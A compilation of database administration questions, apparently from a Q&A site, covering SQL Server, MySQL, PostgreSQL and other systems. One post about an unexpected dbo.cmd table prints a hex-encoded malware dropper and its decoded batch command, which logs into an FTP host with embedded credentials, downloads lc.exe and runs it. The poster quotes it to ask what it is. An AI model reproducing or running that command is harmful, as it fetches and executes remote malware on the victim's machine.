texts: How can I know what hashing algorithm SQL Server used to decrypt the encrypted data when using the function DECRYPTBYPASSPHRASE?

texts:
My question is related to the following experiment with two instances:

SQL Server 2017 Express instance (Microsoft SQL Server 2017 (RTM-CU16))
SQL Server 2014 Express instance (Microsoft SQL Server 2014 (SP2-CU18))

I used the function ENCRYPTBYPASSPHRASE to encrypt a text and used the result as the @ciphertext for DECRYPTBYPASSPHRASE. The result of my tests were these:

According to this Microsoft fix,

  [...] SQL Server 2017 uses the SHA2 hashing algorithm to hash the
  passphrase. SQL Server 2016 and earlier versions of SQL Server use the
  SHA1 algorithm that's no longer considered secure.

But how does it know what was the algorithm used to encrypt data if there's no argument related to that on the function DECRYPTBYPASSPHRASE? Is it part of the encrypted data?

By the results of my tests I'd guess SQL Server always uses the newer version of algorithm available on the instance to encrypt data, but tries all the algorithms to decrypt data until it finds one that fits or returns NULL when no corresponding algorithm is found. It's just a guess though since I couldn't find any way to check what hashing algorithm SQL Server used to decrypt the encrypted data.


texts: UTF8mb4 MariaDB 10.4 - Max key length is 767 bytes error

texts:
I am running MariaDB 10.4.
I am trying to setup symmetricDS for database syncing.  Some of the tables it creates have fields that are are VARCHAR(255).  I know UTF8mb4 can only support up to VARCHAR(191)

I know I can setup my database to be UTF8 and this problem goes away.  But it is my understanding that is not ideal solution.  I can't change the tables/fields that symmetricDS is creating.

I have read some other posts about this, since there are many.  But haven't seen anything above MariaDB 10.2 which I believe I read that things have changed with the engines past 10.2.  So I just want to see if it is all still relevant.

Is there any way this can be resolved, while staying with UTF8mb4?
Or does it even matter and just go to UTF8?


texts: PostgreSQL - retrieve all IDs in a tree for a given subnode

texts:
I have a non-binary tree of customer, and I need to obtain all the IDs in a tree for the given node.

The table is very simple, just an join table with a parent id and child id.
This is a representation of the tree I stored in my db.

In this example if I search for node 17 I need in return 14-17. If I search for 11 I need in return 1-6-5-4-8-11-12-7-2-10-3.

The order is not important. I only need the ID to avoid circularity when adding children to a node.

I created this query.
The ancestor part works fine, I retrieve all parent nodes, but for the descendants I have some trouble. I'm only able to retrieve some part of the tree.
For example, with node 11 I retrieve 4-10-6-11-7-8, so all right part of the tree is missing.

WITH RECURSIVE
-- starting node(s)
starting (parent, child) AS
(
  SELECT t.parent, t.child
  FROM public.customerincustomer AS t
  WHERE t.child = :node or t.parent = :node
)
,
ancestors (parent, child) AS
(
  SELECT t.parent, t.child
  FROM public.customerincustomer AS t
  WHERE t.parent IN (SELECT parent FROM starting)
  UNION ALL
  SELECT t.parent, t.child
  FROM public.customerincustomer AS t JOIN ancestors AS a ON t.child = a.parent
),
descendants (parent, child) AS
(
  SELECT t.parent, t.child
  FROM public.customerincustomer AS t
  WHERE t.parent IN (SELECT parent FROM starting) or t.child in (select child from starting)
  UNION ALL
  SELECT t.parent, t.child
  FROM public.customerincustomer AS t JOIN ancestors AS a ON t.parent = a.child
)

table ancestors
union all
table descendants

UPDATE

I see that many examples included in the tree table also the root in form (root_id, null).

In my case I don't have this record.

For example, taking the smallest tree 14->17, in my table I have only one record
parent, child

14      17


texts: Disable autocommit for DB2 connection in Oracle SQL Developer

texts: I am connecting to the DB2 database using oracle SQL developer, but automatically it is committing, i checked in the advanced menu the auto commit feature is turned off. I am confused now, can someone help me in switching off auto commit.


texts: Access denied for user 'root'@'localhost' (using password yes)

texts:
I was trying to install MySQL 5.6.15 to my computer and got this error:

  unable to update security settings. access denied for user
  'root'@'localhost' (using password yes)

I guess current root password is wrong but I do not remember what it was. So how can I fix this problem?


texts:
These are from Aliyun Cloud DB Servers，20 mysqld processes using one 3306 port

Has anyone seen this before ?
Can anybody explain how to do that ?
Are there any advantages to this ?


texts: How come an INNER JOIN returns zero rows when I use coalesce?

texts:
I have the following query:

SELECT CPC.importe
FROM fac_factura FAC
INNER JOIN fac_concepto_periodo_control CPC ON CPC.id_factura = FAC.id
INNER JOIN fac_factura_deuda_pendiente FDP ON FDP.id_factura = FAC.id
INNER JOIN fac_item_facturacion FIF ON CPC.id_item_facturacion = FIF.id
WHERE FIF.codigo = 427
AND FDP.estado ILIKE 'CANCELADA'
AND CPC.estado ILIKE 'FACTURADO'

The column named importe is numeric but the JOIN conditions are not being fulfilled so it returns a blank value instead of a NULL mark.

How can I set this value to 0 instead of a blank value, I tried with COALESCE but it's not working.


texts: How is a T-SQL Trigger that only fires on real changes made?

texts:
I have a table trigger on UPDATE and INSERT that adds a row to another table.  It only needs to add a row if one of four columns are changed.  I tried using IF UPDATE(col) to test for changes but it has a blind spot.  It only tests that some value came in.  I need to go deeper, I need to compare the old and new values to see of a true change has occurred.  It has to work with both INSERT and UPDATE.

In the case of an UPDATE that's easy because both the inserted and deleted tables have values I can compare within the trigger.  However, for the INSERT only the insert table has values.  Because I need this all in the same trigger, how do I handle that INSERT case?

Here is the script of the trigger I want to modify:

ALTER TRIGGER [dbo].[trATPerson_alter]
   ON  [mydb].[dbo].[AT_Person]
   AFTER INSERT,UPDATE
AS
BEGIN
    SET NOCOUNT ON;

    -- Not all updates require a push
    IF (UPDATE([First_Name]) OR UPDATE([Last_Name]) OR UPDATE([JobCode]) OR UPDATE([Inactive]))
    BEGIN
        INSERT INTO [mydb].[dbo].[AT_Person_To_Push] (
                [Facility],
                [VendorID],
                [Person_code],
                [First_Name],
                [Last_Name],
                [JobCode],
                [Alink],
                [Inactive]
            )
        SELECT  [Facility],
                [VendorID],
                [Person_code],
                [First_Name],
                [Last_Name],
                [JobCode],
                [Alink],
                [Inactive]
        FROM inserted
    END
END


texts: How can I monitor the progress of an import of a large .sql file?

texts:
I am importing a 7 GB foobar.sql to restore a table in a local database.

$ mysql -h localhost -u root 'my_data' < foobar.sql

$ mysql --version
/usr/local/mysql/bin/mysql  Ver 14.12 Distrib 5.0.96, for apple-darwin9.8.0 (i386) using readline 5.1

How can I monitor its progress?


texts: Sql server 2012 log file growth of cdc enbled db

texts:
I have CDC enabled on a SQL Server 2012 database that is a primary DB in transactional replication and the primary in a availability group. The log file is a little over 95 GB, a historic high. I have the cdc._cleanup job running every 5 minutes. We have a weekly full backup, nightly differentials, and transaction logs that run every 15 minutes. The default retention time for CDC is still set for 72 hours.

I am not able to shrink the log. Any suggestions?


texts:
I was reading a postgresql book (PostgreSQL from Novice to Pro) and it says you can start the postmaster daemon by invoking the postgres binary which was part of the installation:

/usr/lib/postgresql/9.3/bin/postgres "-D" "/var/lib/postgresql/9.3/main" "-c" "config_file=/etc/postgresql/9.3/main/postgresql.conf"

Notice we had to pass both the data directory and configuration as parameters to the postgres binary.

The book then goes on to say that the pg_ctl executable, which also happens to be stored in the /usr/lib/postgresql/9.3/bin directory when installing via apt-get, is used to simplify the task. But I cannot get pg_ctl to run:

$ /usr/lib/postgresql/9.3/bin/pg_ctl -D "/var/lib/postgresql/9.3/main" start
server starting
postgres@estonia:/usr/lib/postgresql/9.3/bin$ postgres cannot access the server configuration file "/var/lib/postgresql/9.3/main/postgresql.conf": No such file or directory

It says it cannot find the configuration file, but there is no way to specify the configuration file here:

$ /usr/lib/postgresql/9.3/bin/pg_ctl start "-D" "/var/lib/postgresql/9.3/main" "-c" "config_file=/etc/postgresql/9.3/main/postgresql.conf"
pg_ctl: too many command-line arguments (first is "start")
Try "pg_ctl --help" for more information.

How do I get pg_ctl to run?


texts:
On applying the where condition :

WHERE DateFilled BETWEEN '02/01/2014' AND '02/28/2014'

My syntax is not detecting the values which are filled on 02/28/2014.

If I write the syntax as

WHERE DateFilled >= '02/01/2014'

I am getting the output.

In the SQL Server table, DateFilled column has a value as follows.

2014-02-28 09:24:00.000

What could be the reason? Any date conversion is required. How to get StartDate and EndDate using BETWEEN condition?


texts: New Database and it has a table `dbo.cmd` already

texts:
I am creating a new database using the UI in SQL Server 2014 and when I open the tables it already has a table dbo.cmd as:

CREATE TABLE [dbo].[cmd](
    [a] [image] NOT NULL
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]

It also has one row inserted as:

0x406364202573797374656D726F6F74255C68656C7026406563686F206F70656E2062326263732E676F746F667470312E636F6D3E536F2E3126406563686F2062326263733E3E536F2E3126406563686F2035357A65343235323E3E536F2E3126406563686F20676574206C632E6578653E3E536F2E3126406563686F206279653E3E536F2E312640667470202D733A536F2E312664656C20536F2E3126406C632E6578652664656C202530252665786974

I tried converting this into string and I got this:

@cd %systemroot%\help&@echo open b2bcs.gotoftp1.com>So.1&@echo b2bcs>>So.1&@echo 55ze4252>>So.1&@echo get lc.exe>>So.1&@echo bye>>So.1&@ftp -s:So.1&del So.1&@lc.exe&del %0%&exit

After focusing on this I found out that its a bash script and I tried executing the bash script and I got a file lc.exe in my folder %systemroot%/Help/lc.exe, I have not yet executed the last command from the script:

lc.exe&del %0%&exit

What is this? I have tried searching for this but could not find anything. I have no idea what's happening here, how can I figure this out?


texts: Mysql 8.0 and read-only not working as expected

texts:
I have a new Master/Slave config running. Everything is happily replication. I have added a secondary user whose role will be to manage the databases and tables.

Currently the following privileges are set:

         Select_priv: Y
           Insert_priv: Y
           Update_priv: Y
           Delete_priv: Y
           Create_priv: Y
             Drop_priv: Y
           Reload_priv: N
         Shutdown_priv: N
          Process_priv: N
             File_priv: N
            Grant_priv: N
       References_priv: Y
            Index_priv: Y
            Alter_priv: Y
          Show_db_priv: Y
            Super_priv: N
 Create_tmp_table_priv: Y
      Lock_tables_priv: Y
          Execute_priv: Y
       Repl_slave_priv: N
      Repl_client_priv: N
      Create_view_priv: Y
        Show_view_priv: Y
   Create_routine_priv: Y
    Alter_routine_priv: Y
      Create_user_priv: N
            Event_priv: Y
          Trigger_priv: Y
Create_tablespace_priv: Y
       account_locked: N
      Create_role_priv: N
        Drop_role_priv: N

Privileges have been flushed and the slave server was started read-only.

mysql> select @@read_only;
+-------------+
| @@read_only |
+-------------+
|           1 |
+-------------+
1 row in set (0.00 sec)

However I can still perform write operations on the slave with the user.

mysql> create database foo;
Query OK, 1 row affected (0.01 sec)

mysql> use foo;

Database changed
mysql> create table `foobar` ( `x` int );
Query OK, 0 rows affected (0.10 sec)

mysql> insert into foobar values (1);
Query OK, 1 row affected (0.06 sec)

mysql> insert into foobar values (2);
Query OK, 1 row affected (0.05 sec)

mysql> select * from foobar;
+------+
| x    |
+------+
|    1 |
|    2 |
+------+
2 rows in set (0.00 sec)

mysql> drop database foo;
Query OK, 1 row affected (0.06 sec)

It's my understanding that without the Repl and Super priv's I should not be able to do the above, or am I doing something else wrong ?

Essentially I want the scripts and daemons using this login to never break stuff if I flip the master and slave around.

Thanks.


texts: Change default port MYSQL on ubuntu 20.04

texts:
I just install and setup remote server, and I have to change the default port.
Because by changing the port in /etc/mysql/mysql.conf.d/mysqld.cond.d, I can't reload mysql after this change.
To know: my goal is to connect with mysqli_connect (PHP) on port 995, and not 3306.


texts: Setting precedence of MS SQL Agent alerts

texts:
I've recently encountered an issue with a SQL system I've inherited. Agent alerts have been configured to trigger on Severity and on Error ID. However, it seems like a given error can only trigger a single alert.

For instance if I trigger an Error 823 by pulling a disk, it generates an alert, but my "Error 823" alert then consumes the event, and my "Severity 24" alert doesn't trigger.

Ultimately the "Error 823" alert is redundant, given the fixed severity, but it poses the question - if a SQL agent alert consumes the event that triggers it, can I set a precedence so that I can determine which alert to fire if an event meets the criteria of multiple alerts? Or failing that, is it possible to configure it so that an event is not consumed by an alert?

EDIT: Some additional details - I have a few SQL agent alerts (not SQL agent jobs) configured as follows:

Event alert definition:
 Database name: <all>
 Alerts will be raised based on:
   * Error Number: 823
 Response: Notify operator(s)
 Delay between responses: 1 minute(s)

and

Event alert definition:
 Database name: <all>
 Alerts will be raised based on:
   * Severity: 24
 Response: Notify operator(s)
 Delay between responses: 1 minute(s)

I'm suspecting that what I want to achieve can't be done with such a simple tool, and I'm looking at using an external monitoring tool to better capture and disseminate these events.


texts: Is it possible to update a field value in one table based on data inserted into various other tables?

texts:
Suppose I have a table representing clients. There is a field called last_active in the table which contains a time stamp.
When a client uses the database they can insert data into one of four different tables.
Is there an efficient way to update the time stamp based on the user adding/updating data to one of the other four tables?

Currently I'm using a prepared statement to update the field and I run it directly after the prepared statements that add to or modify the other tables. Is this an efficient way to do it?


texts: PostgreSQL: Trouble accessing another server's Data via NFS

texts:
Background:

I'm working on a 2-node High Availability PostgreSQL database cluster for my company. The system has a master/standby setup where the standby takes over the duties of the master when the master fails and both have up-to-date data.

Here is a previous question which describes the exact scenario I am trying to find a solution for:
PostgreSQL Failover - What tools should I use?

Every solution has an overhead of replicating the database between the master and the standby server. However, if I can share the same data location between both the servers, this need for replication will be removed.

I'm thinking of using a highly reliable SAS Storage shared between both the servers for PostgreSQL data. As only one instance of PostgreSQL will be running at a given time (using pacemaker failover) this should work, atleast in paper.

My Experiment:

I identified two free workstations at our test lab, Workstation-A and Workstation-B for the sake of discussion here.
I stopped the PostgreSQL 9.1 process on Workstation-A and Workstation-B
I shared over NFS /var/lib/postgresql and /var/log/postgresql folders of Workstation-A
I mounted the above directories at the same locations in Workstation-B
I ran

/etc/init.d/postgresql start

I got the following error:

IST FATAL:  could not access private key file "server.key": Permission denied

Any idea how to fix this issue ?

I need this working as a proof-of-concept that can be evaluated for the project.


texts: Why did the last Availability Group failover occur?

texts: My SQL Server 2016 Availability Group failed over to the secondary node within the cluster. I'm not sure when this happened and to save time trawling back through the logs: Is there a quick and easy way to check when & why the last failover occurred?


texts: Applying Service Pack 3 in SQL 2012 in Windows 2012 R2

texts: Do I need to remove the possible owner node in cluster while applying SQL Service Pack 3 in SQL 2012 in Windows 2012 R2 . MS article says its recommended to do avoid corruption. Is it mandatory to do it in Win 2012 R2 ?


texts: Default binary log position for change_master_to in MySQL circular replication?

texts:
I have two MySQL servers set up with replication - lets say A and B for ease.

Currently B is a slave of A

To allow me to switch over to A in event of failure, I want to make this replication circular, so A is also a slave of B.

I know how to set this up using "change master to", but having read the documentation I am not clear on how to make sure that A starts replicating from B at the very end of B's binlog so it doesn't start to try and apply a bunch of SQL queries to the master that I don't want it to?

Am I making any sense?


texts: Does the number of indexes effect the modification of table?

texts:
First of all Good morning !

Today I got one question regarding indexes and tables. Actually I am not facing problem regarding this but due to curiosity I want to post !!

Now come to the point,

Suppose I create 20 indexes ( obviously non-clustered) on one table (which have id,name,username,password). It will work fine.

Now the point is if I modify my table as (id,name,username,password,status,varification_code) and indexes are remains 20. Will it effect the performance ?

And what will be if indexes increase or decreases and table remains same ?

And what will be if indexes increase or decreases and table modified ?


texts: I have a couple tables and application service that intensively inserts, updates its. From the other hand some client application have to read data using those tables. Sometimes client application gets timeout exceptions because of locks this shared data. What the common or maybe non-ordinal solution to separate intensively modified data and fast reading the same one. By the way, data can be consistent but can be delayed in time for 10-20 seconds (for example). OLAP cannot be used.


texts: Error 1239: Incorrect foreign key definition

texts:
While creating primary keys and foreign keys for my tables I got the error 1239 and apparently I'm the only one having this error as I could not find anything with a Google search. I was wondering if anyone can tell me what went wrong?

The foreign key error happened specifically when I was trying to link invoice.CUS_CODE to customer.CUS_CODE with:

alter table invoice add constraint CUS_CODE
    foreign key (CUS_CODE) references customer.CUS_CODE

I also tried disabling foreign_key_checks but no luck so far.

Here's the tables, and some sample data:

CREATE TABLE CUSTOMER(
CUS_CODE int,
CUS_LNAME varchar(15),
CUS_FNAME varchar(15),
CUS_INITIAL varchar(1),
CUS_AREACODE varchar(3),
CUS_PHONE varchar(8),
CUS_BALANCE float(8)
);
INSERT INTO CUSTOMER VALUES('10010','Ramas','Alfred','A','615','844-
2573','0');
INSERT INTO CUSTOMER VALUES('10011','Dunne','Leona','K','713','894-
1238','0');
INSERT INTO CUSTOMER VALUES('10012','Smith','Kathy','W','615','894-
2285','345.86');
INSERT INTO CUSTOMER VALUES('10013','Olowski','Paul','F','615','894-
2180','536.75');
INSERT INTO CUSTOMER VALUES('10014','Orlando','Myron','','615','222-
1672','0');
INSERT INTO CUSTOMER VALUES('10015','O''Brian','Amy','B','713','442-
3381','0');
INSERT INTO CUSTOMER VALUES('10016','Brown','James','G','615','297-
1228','221.19');
INSERT INTO CUSTOMER VALUES('10017','Williams','George','','615','290-
2556','768.93');
INSERT INTO CUSTOMER VALUES('10018','Farriss','Anne','G','713','382-
7185','216.55');
INSERT INTO CUSTOMER VALUES('10019','Smith','Olette','K','615','297-
3809','0');

CREATE TABLE INVOICE (
INV_NUMBER int,
CUS_CODE int,
INV_DATE date,
INV_SUBTOTAL float(8),
INV_TAX float(8),
INV_TOTAL float(8)
);
INSERT INTO INVOICE VALUES('1001','10014','2016-01-
16','24.90','1.99','26.89');
INSERT INTO INVOICE VALUES('1002','10011','2016-01-
16','9.98','0.80','10.78');
INSERT INTO INVOICE VALUES('1003','10012','2016-01-
16','153.85','12.31','166.16');
INSERT INTO INVOICE VALUES('1004','10011','2017-01-
16','34.97','2.80','37.77');
INSERT INTO INVOICE VALUES('1005','10018','2017-01-
16','70.44','5.64','76.08');
INSERT INTO INVOICE VALUES('1006','10014','2017-01-
16','397.83','31.83','429.66');
INSERT INTO INVOICE VALUES('1007','10015','2017-01-
16','34.97','2.80','37.77');
INSERT INTO INVOICE VALUES('1008','10011','2017-01-
16','399.15','31.93','431.08');


texts: Query in PostgreSQL with large quantity of squid access requests

texts:
Hello people, I'm using a log daemon (https://github.com/paranormal/blooper) in Squid Proxy to put access log into PostreSQL and I make a Trigger Function:

DECLARE
  newtime varchar := EXTRACT (MONTH FROM NEW."time")::varchar;
  newyear varchar := EXTRACT (YEAR FROM NEW."time")::varchar;
  user_name varchar := REPLACE (NEW.user_name, '.', '_');
  partname varchar := newtime || '_' ||  newyear;
  tablename varchar := user_name || '.accesses_' || partname;
BEGIN

  IF NEW.user_name IS NOT NULL THEN
    EXECUTE 'CREATE SCHEMA IF NOT EXISTS ' || user_name;

    EXECUTE 'CREATE TABLE IF NOT EXISTS '
    || tablename
    || '('
    || 'CHECK (user_name = ''' || NEW.user_name || ''' AND EXTRACT(MONTH FROM "time") = ' || newtime || ' AND EXTRACT (YEAR FROM "time") = ' || newyear || ')'
    || ') INHERITS (public.accesses)';

    EXECUTE 'CREATE INDEX IF NOT EXISTS access_index_' || partname || '_user_name ON ' || tablename || ' (user_name)';
    EXECUTE 'CREATE INDEX IF NOT EXISTS access_index_' || partname || '_time ON ' || tablename || ' ("time")';

    EXECUTE 'INSERT INTO ' || tablename || ' SELECT $1.*' USING NEW;
  END IF;

  RETURN NULL;
END;

The main function of it is make a table partition by user_name and by month-year of the access, inhering from a master clean table:

CREATE TABLE public.accesses
(
  id integer NOT NULL DEFAULT nextval('accesses_id_seq'::regclass),
  "time" timestamp with time zone NOT NULL,
  time_response integer,
  mac_source macaddr,
  ip_source inet NOT NULL,
  ip_destination inet,
  user_name character varying(40),
  http_status_code numeric(3,0) NOT NULL,
  http_reply_size bigint NOT NULL,
  http_request_method character varying(15) NOT NULL,
  http_request_url character varying(4166) NOT NULL,
  http_content_type character varying(100),
  squid_hier_code character varying(20),
  squid_request_status character varying(50),
  user_id integer,
  CONSTRAINT accesses_http_request_method_fkey FOREIGN KEY (http_request_method)
  REFERENCES public.http_requests (method) MATCH SIMPLE
  ON UPDATE NO ACTION ON DELETE NO ACTION,
  CONSTRAINT accesses_http_status_code_fkey FOREIGN KEY (http_status_code)
  REFERENCES public.http_statuses (code) MATCH SIMPLE
  ON UPDATE NO ACTION ON DELETE NO ACTION,
  CONSTRAINT accesses_user_id_fkey FOREIGN KEY (user_id)
  REFERENCES public.users (id) MATCH SIMPLE
  ON UPDATE NO ACTION ON DELETE NO ACTION
)

The main problem is get the sum of http_reply_size grouping by user_name and time, my query is:

SELECT
  "time",
  user_name,
  sum(http_reply_size)
FROM
  accesses
WHERE
  extract(epoch from "time") BETWEEN 1516975122 AND 1516996722
GROUP BY
  "time",
  user_name

But this query is very slow in the server (3'237'976 rows currently in 2 days only). So, PostgreSQL has something to optimize a query with that need, or I need to use another SQL or NoSQL system.


texts: SQL Server: ensure primary key uniqueness over two tables

texts:
I have a system with an Events table that holds a list of events to process. Once they are processed, their status field is marked such, and they remain there for archive/history purposes. The PK of the Events table is identity.

The Events table is frequently queried for event type, due time, etc. Most of the time only unprocessed events are of interest. But due to the number of records constantly growing, these queries start taking up more time than they should.

So, I'd like to implement a process that regularly brings the old processed events to another table, so that the primary events table remains lean. Ideally, I'd like that other table be named like EventsArchive and keep exactly the same field setup, with one difference that the PK field is not identity. However, now there is a risk that upon inserting new record in Events table, the PK value is something that's already used in the EventsArchive table.

Is there any way how I can guarantee that the PK field values of Events table do not collide with the archived values in EventsArchive table? I can imagine switching to finding the Events.PK value by means of generating random long value and checking if this value is not taken in both Events and EventsArchive. But that doesn't sound right.


texts: I am in need of a solution to hide specific columns in a table. We have people who need to build reports against this database and specifically some of these tables with confidential information but aren't allowed to see items like salary or ssn. Is it possible to filter specific columns for users?


texts: Update Field Added From Alter Table Statement

texts:
I am attempting to update a field that was just added from an ALter statement.  I am receiving an error of:

  Msg 207, Level 16, State 1, Procedure TestProc, Line 436
      Invalid column name 'discountamount'.

This is my syntax that I am attempting to use - what would be the proper way to update a field just added in a stored procedure?

ALTER TABLE [dbo].msnbc
ADD saleamount float,
discountamount float;

UPDATE ftri
SET ftri.discountamount = fji.Totaldiscountamount
FROM [dbo].msnbc ftri
INNER JOIN [dbo].halfbaked fji
ON ftri.saleid = fji.saleid


texts: Posgres Row Security Policy - Why Array faster than Bitstring?

texts:
I have a question:
I have two row security policies to restrict the access to a table.
The first policy uses an Array-Column "rights".
The "rights" column is type 16-bit bit/integer array and each user is assigned an index.
If the array has the value 1 at an index, the user with that index can read the line. The policy for looks like this:

CREATE POLICY policy_testdata_select ON testdata
        FOR SELECT TO PUBLIC
        USING (rights[(select array_pos from account where username = current_user)] > 0);

The second policy uses bitstrings with the same logic so for example:

Value in the table: 1001010

User1 bit string: 0001000

User2 bit string: 0000100

1001010 & 0001000 = 0001000 -> User1 has access

1001010 & 0000100 = 0000000 -> User2 has no access

The policy looks like this:

CREATE POLICY policy_testdata_select ON testdata
        FOR SELECT TO PUBLIC
        USING ((bitstring & (select user_bitstring from account where username = current_user)) <> B'0'::BIT(16));

Intuitively, I would argue that the second option is more performant as a bit string does not consume a lot of memory and binary operations don't cost much, but if one compares the performance, the array version is even a little faster. How come?
Here are the two evaluation plans with the same test data (2 million lines and user has access to half):

Array:
                                                                 QUERY PLAN
---------------------------------------------------------------------------------------------------------------------------------------------
 Limit  (cost=10000000008.16..10000526114.16 rows=666667 width=1160) (actual time=0.025..2733.524 rows=1000000 loops=1)
   InitPlan 1 (returns $0)
     ->  Index Scan using username2_index on account2  (cost=0.14..8.16 rows=1 width=4) (actual time=0.014..0.014 rows=1 loops=1)
           Index Cond: (username = CURRENT_USER)
   ->  Seq Scan on testdata  (cost=10000000000.00..10000526106.00 rows=666667 width=1160) (actual time=0.025..2660.927 rows=1000000 loops=1)
         Filter: (rights[$0] > 0)
         Rows Removed by Filter: 1000000
 Planning Time: 0.181 ms
 Execution Time: 2768.561 ms
(9 rows)

Bitstring:
                                                                  QUERY PLAN
----------------------------------------------------------------------------------------------------------------------------------------------
 Limit  (cost=10000000008.16..10000266895.60 rows=1000000 width=1160) (actual time=0.026..2759.098 rows=1000000 loops=1)
   InitPlan 1 (returns $0)
     ->  Index Scan using username2_index on account2  (cost=0.14..8.16 rows=1 width=7) (actual time=0.013..0.014 rows=1 loops=1)
           Index Cond: (username = CURRENT_USER)
   ->  Seq Scan on testdata  (cost=10000000000.00..10000531106.00 rows=1990000 width=1160) (actual time=0.025..2685.145 rows=1000000 loops=1)
         Filter: ((bitstring & $0) <> '0000000000000000'::bit(16))
         Rows Removed by Filter: 1000000
 Planning Time: 0.167 ms
 Execution Time: 2794.719 ms
(9 rows)

Some comparison between the two versions (yellow and purple - blue without any policy) x-Axis: Count of Rows in thousand, y-Axis: Execution Time of the query - averaged:

And another question: is there a better way to filter access. It should be possible that the rights to a line are changeable.
Would it be possible, for example, to build an index that speeds up the filtering process?


texts: Tables for two type of users in database. How to solve this problem?

texts:
This is the Entity Relationship Diagram I have created for my web application (based on Oracle APEX project).
Two type of users can sign up and login and each user has his/her own profile and privileges (Webbeheerder & Expert).

But the problem is how can I make a table called "TypeUser" for example and when the user wants to sign up, he will be asked what kind of user he/she is. So no separate sign up/login pages for each group/type user.
I know there must come a new table, but I don’t know how should I exactly solve this.

I'll appreciate your help and suggestions. Thanks a lot.

PS. Any other suggestions about this data model of a web application where Web masters can share the link of their website and ask Web designers for feedback. Web designers can comment on a link and rate it. Each of these user groups can view the other's profile ( so there's also a dedicated profile page)? Improvements?

Thanks again!

Edit

Incorporating the  the answer of LironCareto  results in the following diagram:


texts: What is the meaning of the segment name of a domain index?

texts:
I want to know the space used by one of my indexes. I query the view DBA_SEGMENTS to do it:

SELECT segment_name, sum(bytes) FROM dba_segments WHERE segment_name LIKE '%INDEX_NAME%' GROUP BY segment_name;

I got this response:

DR$INDEX_NAME$X 1369440256
DR$INDEX_NAME$I 1586495488
DR$INDEX_NAME$R 65536

What is the meaning of the prefix DR and the suffixes X, I and R in the name of my segments? What is the real size of my index : 1369440256 B, 1586495488 B or 2956001280 B?


texts: MongoDB works only on user is assigned to admin database

texts:
I am using mongo db with authentication and it is working as expected when I map the user to the admin database like below,

use admin;
db.getUsers();
    {
                    "_id" : "admin.test1",
                    "userId" : UUID("abee0e0c-1d0b-44fa-84ad-594159b66aab"),
                    "user" : "test1",
                    "db" : "admin",
                    "roles" : [
                            {
                                    "role" : "readWrite",
                                    "db" : "test_database"
                            }
                    ],
                    "mechanisms" : [
                            "SCRAM-SHA-1",
                            "SCRAM-SHA-256"
                    ]
            }

I am able to connect to the database using 'test1' user and access the 'test_database'

but when I create user with actual test_database, It is not allowing me to connect,

use test_database;
db.getUsers();
     {
                        "_id" : "test_database.test2",
                        "userId" : UUID("abee0e0c-1d0b-44fa-84ad-594159b66aab"),
                        "user" : "test2",
                        "db" : "test_database",
                        "roles" : [
                                {
                                        "role" : "readWrite",
                                        "db" : "test_database"
                                }
                        ],
                        "mechanisms" : [
                                "SCRAM-SHA-1",
                                "SCRAM-SHA-256"
                        ]
                }

When I connect using the 'test1' user to connect 'test_database', I am able to connect and It is working as expected (weird how the admin database access helps 'test_database' though) - why?

but when I connect using the user 'test2' it fails with the following error

pymongo.errors.OperationFailure: Authentication failed.


texts:
My database is in simple recovery mode. One page got corrupted and I only have backups created using simple backup.

When I run this:

DBCC PAGE ('myDB', 1, 952663, 3)

I get:

DBCC PAGE error: Invalid page type - dump style 3 not possible.

SQL Server detected a logical consistency-based I/O error: incorrect pageid (expected 1:952663; actual 2668:-1594740640). It occurred during a read of page (1:952663) in database ID 5 at offset

Msg 8909, Level 16, State 1, Line 1
Table error: Object ID 0, index ID -1, partition ID 0, alloc unit ID 332114207834112 (type Unknown), page ID (1:952663) contains an incorrect page ID in its page header. The PageId in the page header = (2668:-1594740640).
CHECKDB found 0 allocation errors and 1 consistency errors not associated with any single object.
Msg 8928, Level 16, State 1, Line 1
Object ID 1131971209, index ID 1, partition ID 72057595034861568, alloc unit ID 72057595204796416 (type In-row data): Page (1:952663) could not be processed.  See other errors for details.
Msg 8976, Level 16, State 1, Line 1
Table error: Object ID 1131971209, index ID 1, partition ID 72057595034861568, alloc unit ID 72057595204796416 (type In-row data). Page (1:952663) was not seen in the scan although its parent (1:1616550) and previous (1:2296409) refer to it. Check any previous errors.
Msg 8978, Level 16, State 1, Line 1
Table error: Object ID 1131971209, index ID 1, partition ID 72057595034861568, alloc unit ID 72057595204796416 (type In-row data). Page (1:1743775) is missing a reference from previous page (1:952663). Possible chain linkage problem.
Msg 2511, Level 16, State 1, Line 1
Table error: Object ID 1131971209, index ID 25, partition ID 72057595034796032, alloc unit ID 72057595204730880 (type In-row data). Keys out of order on page (1:3474431), slots 237 and 238.
CHECKDB found 0 allocation errors and 4 consistency errors in table 'TransactionEntry' (object ID 1131971209).
CHECKDB found 0 allocation errors and 5 consistency errors in database 'DsPointOfSale'.
repair_allow_data_loss is the minimum repair level for the errors found by DBCC CHECKDB (DsPointOfSale).

Can I still repair this database?


texts:
I am looking for information that I am not able to find about MySQL cluster.

I have to justify if it is possible to install in a production environment the three types of nodes (MySQL node + Data node + MGMT Node) on the same instance EC2 (AWS)

One of the scenarios is to have two EC2 instances. The three types of nodes are installed on each instance. The MySQL cluster is active / active between the two instances. I believe this configuration is acceptable for Oracle in a development environment. But in a production environment it would not be and I would like to know why because I don't see a single point of failure.

Oracle in its documentation seems recommend 6 servers to have a fully redundant solution. Okay but why technically this requires 6 servers?

The web application that will use MySQL doesn't require a large processing capacity.

Thank you in advance for your precious help.

Nb. I'm not a DBA.


texts: SQL Server 2014 Central Management Server

texts: Can anyone tell list of all tasks I can do using CMS apart from Executing T-SQL code in multiple SQL Instances at same time.Thanks


texts: Determine last usage date of a linked server

texts:
We have a tonne of linked servers on our database server that we would like to clean up.

Is it possible to determine the last date a linked server was used? e.g. the last time a query was performed through it.


texts: Why mysqldump is returning with error 1143: Couldn't execute 'show table status like


texts: How do I do an outer join between all nested subqueries? (getting an error of 'OUTER' is not a valid input for this position)

texts:
I have this query:

SELECT AVG(a.score) AS Average1, AVG(b.score) AS Average2, AVG(c.score) AS Average3
FROM
(SELECT subfactor.score, dateID, EmployeeID
    FROM employeescore
        LEFT JOIN subfactor
        ON employeescore.SubFactorID = subfactor.SubFactorID
            LEFT JOIN factor
            ON subfactor.FactorID = factor.FactorID
            WHERE DateID='Jan2015' AND employeescore.EmployeeID='1' AND subfactor.FactorID='A1')a
OUTER JOIN
(SELECT subfactor.score, DateID, EmployeeID
    FROM employeescore
        LEFT JOIN subfactor
        ON employeescore.SubFactorID = subfactor.SubFactorID
            LEFT JOIN factor
            ON subfactor.FactorID = factor.FactorID
